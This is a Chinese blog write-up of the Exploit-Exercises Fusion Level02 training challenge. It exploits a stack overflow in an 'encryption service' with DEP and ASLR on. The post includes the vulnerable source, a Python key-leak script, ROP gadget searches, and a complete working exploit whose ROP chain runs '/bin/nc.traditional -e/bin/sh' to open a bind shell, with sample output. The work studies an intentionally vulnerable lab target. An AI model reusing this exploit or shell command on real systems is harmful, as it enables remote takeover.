Exploit-Exercises Fusion Level02,引入了DEP以及ASLR,引发溢出的代码位于encrypt_file函数中,当读入字符’E’的时候,首先读入四字节的数据到sz,用于表示接下来会有多少数据要读取,尽管接下来是通过read来读取数据到缓冲区buffer中,但是由于大小完全可控,所以可以溢出buffer缓冲区(128KB),然后覆盖返回地址。这个题还有一个地方就是会对发过去的数据进行加密处理,而且key是随机生成的,但是由于key只在首次生成而且被重复使用,会造成key的泄露,因此在发送特定部分的攻击数据的时候,可以先使用key进行xor操作。
Level02的源代码如下(监听端口为20002):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | #include "../common/common.c" #define XORSZ 32 void cipher(unsigned char *blah, size_t len) { static int keyed; static unsigned int keybuf[XORSZ]; int blocks; unsigned int *blahi, j; if(keyed == 0) { int fd; fd = open("/dev/urandom", O_RDONLY); if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE); close(fd); keyed = 1; } blahi = (unsigned int *)(blah); blocks = (len / 4); if(len & 3) blocks += 1; for(j = 0; j < blocks; j++) { blahi[j] ^= keybuf[j % XORSZ]; } } void encrypt_file() { // http://thedailywtf.com/Articles/Extensible-XML.aspx // maybe make bigger for inevitable xml-in-xml-in-xml ? unsigned char buffer[32 * 4096]; unsigned char op; size_t sz; int loop; printf("[-- Enterprise configuration file encryption service --]\n"); loop = 1; while(loop) { nread(0, &op, sizeof(op)); switch(op) { case 'E': nread(0, &sz, sizeof(sz)); nread(0, buffer, sz); cipher(buffer, sz); printf("[-- encryption complete. please mention " "474bd3ad-c65b-47ab-b041-602047ab8792 to support " "staff to retrieve your file --]\n"); nwrite(1, &sz, sizeof(sz)); nwrite(1, buffer, sz); break; case 'Q': loop = 0; break; default: exit(EXIT_FAILURE); } } } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); encrypt_file(); } |
0×01. 定位返回地址覆盖偏移值
先kill掉Fusion机器上原有的level02进程,然后gdb调试:
root@fusion:/opt/fusion/bin# gdb -q level02 Reading symbols from /opt/fusion/bin/level02...done. (gdb) b encrypt_file Breakpoint 1 at 0x8049800: file level02/level02.c, line 40. (gdb) set follow-fork-mode child (gdb) r Starting program: /opt/fusion/bin/level02 [New process 9533] [New process 9543] [Switching to process 9543] Breakpoint 1, encrypt_file () at level02/level02.c:40 40 level02/level02.c: No such file or directory. in level02/level02.c (gdb) p $ebp - (int)&buffer + 4 $1 = (void *) 0x20010 |
我们对encrypt_file下了一个断点,要触发这个断点,需要发送数据过去:
winson@kali:~/Desktop/Fusion$ python -c "print 'E\x02\x00\x00\x00AB'" | nc 192.168.218.197 20002 |
这里要求对两个字节进行加密,触发断点后计算出返回地址覆盖的偏移值为0×20010。
观察源代码中的switch结构,如果我们发送这样的数据之后直接退出,那么就不会触发encrypt_file函数的返回了,因为如果没有收到字符’Q’,那么就进入default分支,进程调用exit之后就退出了,因此在测试的时候还需要在数据的末尾添加字符’Q’,这样函数才有返回的机会。
0×02. 信息泄露
这里buffer中的数据会传给cipher函数进行加密处理,而密钥是通过读取设备文件/dev/urandom得到的随机数,那么我们就不可能提前猜测到KEY了。但是这里cipher函数中keyed和keybuf都是static变量,因此对整个进程而言,只有第一次的时候才会生成这些随机数据,下次则直接使用原来的数据,通过进程提供的加密服务,keybuf会被泄露。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #!/usr/bin/env python # encoding: utf-8 import sys import time import struct import socket def recv_exactly(s, n): data = "" while len(data) < n: data += s.recv(n - len(data)) return data def get_key(s): data = 'A'*128 recv_exactly(s, 57) s.send('E') s.send(struct.pack("<I", len(data))) s.send(data) recv_exactly(s, 120) size_packed = recv_exactly(s, 4) size_unpacked = struct.unpack("<I", size_packed)[0] enc = recv_exactly(s, size_unpacked) key = [] for i in xrange(0, len(data)): key.append(ord('A')^ord(enc[i])) return key def get_socket(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect((ip, port)) return s if __name__ == "__main__": if len(sys.argv) == 3: s = get_socket(sys.argv[1], int(sys.argv[2])) key = get_key(s) s.close() print key ''' winson@kali:~/Desktop/Fusion$ python getkey.py 192.168.218.197 20002 [251, 107, 158, 231, 116, 233, 48, 93, 138, 94, 183, 5, 209, 54, 229, 191, 66, 18, 158, 61, 80, 52, 26, 105, 109, 177, 182, 101, 19, 153, 39, 254, 130, 105, 102, 183, 15, 197, 244, 88, 125, 197, 189, 136, 74, 133, 39, 209, 45, 232, 111, 108, 120, 117, 50, 183, 148, 103, 163, 103, 223, 180, 99, 158, 172, 26, 214, 40, 229, 225, 114, 185, 158, 156, 1, 100, 18, 149, 87, 212, 220, 155, 179, 92, 24, 231, 4, 241, 202, 198, 116, 227, 100, 49, 7, 186, 254, 129, 22, 49, 122, 34, 41, 130, 148, 70, 84, 146, 49, 116, 231, 150, 95, 175, 248, 94, 202, 127, 18, 107, 97, 234, 182, 252, 86, 69, 211, 24] ''' |
0×03. ROP链
使用ROPGadget搜索可用的ROP链:
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g Gadgets information ============================================================ 0x080487f6: pop %edi | ret 0x08048815: add $0x08,%esp | pop %ebx | ret 0x08048818: pop %ebx | ret 0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret 0x08048b12: pop %ebx | pop %ebp | ret 0x08048b13: pop %ebp | ret 0x08048b3f: call *%eax 0x08048b7f: sub $0xc9fffffd,%eax | ret 0x08048bc3: mov $0xc9fffffc,%ecx | ret 0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x080499d2: mov (%esp),%ebx | ret 0x080499f8: sub $0x04,%ebx | call *%eax 0x08049fe3: call *(%ebx) Unique gadgets found: 13 Possible combinations. ============================================================ [-] Combo 1 was not found, missing instruction(s). - .......... => int $0x80 - .......... => inc %eax - .......... => xor %eax,%eax - .......... => mov %e?x,(%e?x) - .......... => pop %eax - 0x08048818 => pop %ebx | ret - .......... => pop %ecx - .......... => pop %edx - 0x00000001 => .data Addr [-] Combo 1 was not found, missing instruction(s). - .......... => sysenter - .......... => inc %eax - .......... => xor %eax,%eax - .......... => mov %e?x,(%e?x) - .......... => pop %eax - 0x08048818 => pop %ebx | ret - .......... => pop %ecx - .......... => pop %edx - 0x08048b13 => pop %ebp | ret - 0x00000001 => .data Addr |
现在我们想通过execve来执行一条命令,查找程序内部是否有execve:
root@fusion:/opt/fusion/bin# objdump -d level02 | grep execve 080489b0 <execve@plt>: 804949b: e8 10 f5 ff ff call 80489b0 <execve@plt> |
如果execve执行失败了,还要优雅的退出进程,查找exit:
root@fusion:/opt/fusion/bin# objdump -d level02 | grep exit 08048960 <exit@plt>: 8048c58: e8 03 fd ff ff call 8048960 <exit@plt> |
在一个固定的位置安放execve的参数也是需要考虑的一个问题。通过如下命令查看各个区段的属性:
(gdb) maintenance info sections Exec file: `/opt/fusion/bin/level02', file type elf32-i386. 0x8048134->0x8048147 at 0x00000134: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048148->0x8048168 at 0x00000148: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048168->0x804818c at 0x00000168: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS 0x804818c->0x80481cc at 0x0000018c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS 0x80481cc->0x80484ac at 0x000001cc: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS 0x80484ac->0x8048607 at 0x000004ac: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048608->0x8048664 at 0x00000608: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048664->0x8048694 at 0x00000664: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048694->0x80486bc at 0x00000694: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS 0x80486bc->0x80487ec at 0x000006bc: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS 0x80487ec->0x804881a at 0x000007ec: .init ALLOC LOAD READONLY CODE HAS_CONTENTS 0x8048820->0x8048a90 at 0x00000820: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS 0x8048a90->0x8049a0c at 0x00000a90: .text ALLOC LOAD READONLY CODE HAS_CONTENTS 0x8049a0c->0x8049a26 at 0x00001a0c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS 0x8049a28->0x8049ec0 at 0x00001a28: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8049ec0->0x8049f7c at 0x00001ec0: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8049f7c->0x804a274 at 0x00001f7c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS 0x804b274->0x804b27c at 0x00002274: .init_array ALLOC LOAD DATA HAS_CONTENTS 0x804b27c->0x804b284 at 0x0000227c: .ctors ALLOC LOAD DATA HAS_CONTENTS 0x804b284->0x804b28c at 0x00002284: .dtors ALLOC LOAD DATA HAS_CONTENTS 0x804b28c->0x804b290 at 0x0000228c: .jcr ALLOC LOAD DATA HAS_CONTENTS 0x804b290->0x804b368 at 0x00002290: .dynamic ALLOC LOAD DATA HAS_CONTENTS 0x804b368->0x804b36c at 0x00002368: .got ALLOC LOAD DATA HAS_CONTENTS 0x804b36c->0x804b410 at 0x0000236c: .got.plt ALLOC LOAD DATA HAS_CONTENTS 0x804b410->0x804b418 at 0x00002410: .data ALLOC LOAD DATA HAS_CONTENTS 0x804b420->0x804b500 at 0x00002418: .bss ALLOC 0x0000->0x29f4 at 0x00002418: .stab READONLY HAS_CONTENTS 0x0000->0x9111 at 0x00004e0c: .stabstr READONLY HAS_CONTENTS 0x0000->0x002a at 0x0000df1d: .comment READONLY HAS_CONTENTS |
可以选择.bss区段来存放数据,.bss是可写的,起始地址为0x804b420。那如何把参数数据写到.bss呢?我们可以构造一个nread栈帧,让程序从encrypt_file返回后执行nread,把数据写入到.bss的其实位置。
在gdb中通过p打印出nread函数的地址信息:
(gdb) p nread $1 = {ssize_t (int, void *, size_t)} 0x804952d <nread> |
我们还需要leave/ret指令来构造一个指定基地址的栈帧:(grep命令行参数-A1表示查看匹配的leave下一行数据,-m1表示只需要找到一处匹配的数据即可)
root@fusion:/opt/fusion/bin# objdump -d level02 | grep leave -A1 -m1 8048b41: c9 leave 8048b42: c3 ret |
0×04. Shellcode构造
现在可以构造Shellcode了,我们通过execve执行nc来监听一个端口。需要注意的是,Fusion机器下的/bin/nc/指向/etc/alternatives/nc,而这个nc不支持-e参数选项,所以可以使用/bin/nc.traditional这个nc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | #!/usr/bin/env python # encoding: utf-8 import sys import time import struct import socket def recv_exactly(s, n): data = "" while len(data) < n: data += s.recv(n - len(data)) return data def get_key(s): data = 'A'*128 recv_exactly(s, 57) s.send('E') s.send(struct.pack("<I", len(data))) s.send(data) recv_exactly(s, 120) size_packed = recv_exactly(s, 4) size_unpacked = struct.unpack("<I", size_packed)[0] enc = recv_exactly(s, size_unpacked) key = [] for i in xrange(0, len(data)): key.append(ord('A')^ord(enc[i])) return key def get_socket(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect((ip, port)) return s def encrypt_payload(payload, key): data = [] keylen = len(key) for i in xrange(0, len(payload)): data.append(chr(ord(payload[i])^key[i%keylen])) return "".join(data) def pwn(s, key): base = 0x0804b420 junk = 'A'*0x20010 bss = struct.pack("<I", base) nread = struct.pack("<I", 0x0804952d) fd = struct.pack("<I", 0) size = struct.pack("<I", 100) popebp = struct.pack("<I", 0x08048b13) ebp = bss leaveret = struct.pack("<I", 0x08048b41) stage0 = popebp + ebp + nread + leaveret + fd + bss + size payload1 = junk + stage0 print "Sending stage0 data..." payload1_enc = encrypt_payload(payload1, key) s.send("E") s.send(struct.pack("<I", len(payload1_enc))) s.send(payload1_enc) time.sleep(0.5) s.recv(0xFFFFFF) s.send("Q") time.sleep(0.5) null = struct.pack("<I", 0x00) filler = "DDDD" execve = struct.pack("<I", 0x080489b0) exit = struct.pack("<I", 0x08048960) args = struct.pack("<I", base + 24) envp = null data_offset = 40 binnc = struct.pack("<I", base + data_offset) ncarg1 = struct.pack("<I", base + data_offset + 20) ncarg2 = struct.pack("<I", base + data_offset + 29) print "Sending stage1 data..." stage1 = filler + execve + exit + binnc + args + envp stage1 += binnc + ncarg1 + ncarg2 + null stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0" junk = "E"*(100 - len(stage1)) s.send(stage1+junk) s.close() if __name__ == "__main__": if len(sys.argv) == 3: s = get_socket(sys.argv[1], int(sys.argv[2])) key = get_key(s) pwn(s, key) print "pwn done..." |
其中代码
stage0 = popebp + ebp + nread + leaveret + fd + bss + size |
所构造的数据中,首先执行pop ebp,将ebp指向.bss的起始位置,然后执行nread读取100字节的数据,随后执行leave # ret,将esp指向.bss的其实位置,然后从栈顶弹出数据赋值给ebp寄存器。
而代码
stage1 = filler + execve + exit + binnc + args + envp |
所构造的数据中,filler为填充数据,执行pop ebp时弹给ebp寄存器,接着执行execve函数,其中:
1. binnc指向字符串”/bin/nc.traditional\0″,位于.bss偏移40的位置,长度为20;
2. args指向一个字符数组,位于.bss偏移24的位置,内容为binnc + ncarg1 + ncarg2 + null,即命令后参数数组;
3. envp指向NULL;
执行完execve之后,如果执行成功,那么监听端口就开启了,如果执行失败,则调用exit退出进程。
winson@kali:~/Desktop/Fusion$ python level02.py 192.168.218.197 20002 Sending stage0 data... Sending stage1 data... pwn done... winson@kali:~/Desktop/Fusion$ nc 192.168.218.197 6667 id uid=20002 gid=20002 groups=20002 |
0×05. References
http://www.kroosec.com/2013/03/fusion-level02.html
http://vnico.mundodisco.net/archives/258
本文地址: 程序人生 >> Exploit-Exercises Fusion Level02
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!